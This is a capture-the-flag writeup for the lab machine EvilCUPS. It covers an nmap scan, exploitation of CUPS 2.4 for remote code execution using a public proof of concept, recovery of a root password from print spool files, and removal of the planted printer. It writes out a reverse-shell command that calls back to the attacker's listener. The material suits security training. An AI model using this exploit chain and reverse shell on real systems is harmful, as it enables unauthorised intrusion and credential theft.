Explore the fundamentals of cybersecurity in the EvilCUPS Capture The Flag (CTF) challenge, a medium-level experience! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible for players at this level.

Add Hosts#

10.10.11.40 evilcups.htb

Script to add hosts automatically#

ip="10.10.11.40"
domain="evilcups.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts

Mapping#

nmap -sCV evilcups.htb

Nmap scan report for evilcups.htb (10.10.11.40)
Host is up (0.052s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 36:49:95:03:8d:b4:4c:6e:a9:25:92:af:3c:9e:06:66 (ECDSA)
|_  256 9f:a4:a9:39:11:20:e0:96:ee:c4:9a:69:28:95:0c:60 (ED25519)
631/tcp open  ipp     CUPS 2.4
|_http-title: Bad Request - CUPS v2.4.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We can access the CUPS interface at http://10.10.11.40:631.

Remote Code Execution (RCE)#

This attack is described in detail here:
https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/

The proof of concept (PoC) was created by the room creator and can be found here:
https://github.com/IppSec/evil-cups

Start a Listener#

Set up a listener to capture the reverse shell:

nc -lvnp 9001

Download and Set Up the Exploit#

You’ll need the Python ippserver package for the CUPS exploit.

wget https://raw.githubusercontent.com/IppSec/evil-cups/refs/heads/main/evilcups.py -O evilcups
chmod +x evilcups
vpnip=$(ip a | grep -A 2 "tun0:" | grep -oP '(?<=inet\s)\d+(\.\d+){3}')
./evilcups $vpnip 10.10.11.40 'bash -c "nohup bash -i >& /dev/tcp/'$vpnip'/9001 0>&1"&'

Trigger the RCE#

To trigger the reverse shell, go to the CUPS web interface at http://10.10.11.40:631. Find the added printer, click on “Maintenance,” and then click on “Print Test Page.”

Retrieve the User Flag#

Once you have shell access, you can retrieve the user flag:

cat /home/htb/user.txt

Explore CUPS Spool Files#

Navigate to the CUPS spool directory to inspect the files:

cd /var/spool/cups
cat d00001-001

Set up a Python HTTP server to transfer the file:

python3 -m http.server

Download and Convert the Spool File#

On your local machine, download the spool file:

wget 'http://10.10.11.40:8000/d00001-001'

Convert the file to PDF format:

ps2pdf d00001-001 d00001-001.pdf

Open the PDF to inspect its contents:

xdg-open d00001-001.pdf

Retrieve the Root Password#

With the information gathered, SSH into the box as root:

ssh root@10.10.11.40

Retrieve the root flag:

cat /root/root.txt

Good OpSec: Removing a Malicious Printer from CUPS#

List Active Printers#

Check which printers are currently active:

lpstat -p

Example:

printer Canon_MB2300_series is idle.
printer HACKED_10_10_14_2 is idle.

Attempt Printer Removal#

Try to remove the malicious printer:

lpadmin -x HACKED_10_10_14_2

Restart CUPS#

Apply changes by restarting the CUPS service:

systemctl restart cups

Verify Removal#

Check again to ensure the printer is removed:

lpstat -p

Manual Removal (If Necessary)#

If lpadmin fails, manually edit the printer configuration:

nano /etc/cups/printers.conf

Delete the section for the unwanted printer:

<Printer HACKED_10_10_14_2>
...
</Printer>

Save and exit (Ctrl + O, Ctrl + X).

Clear CUPS Cache#

Remove the CUPS job cache:

rm /var/cache/cups/job.cache

Important: Only clear spool files if you are sure there’s no sensitive data:

rm /var/spool/cups/d* /var/spool/cups/c*

Note: On this machine, avoid removing spool files because they contain the password.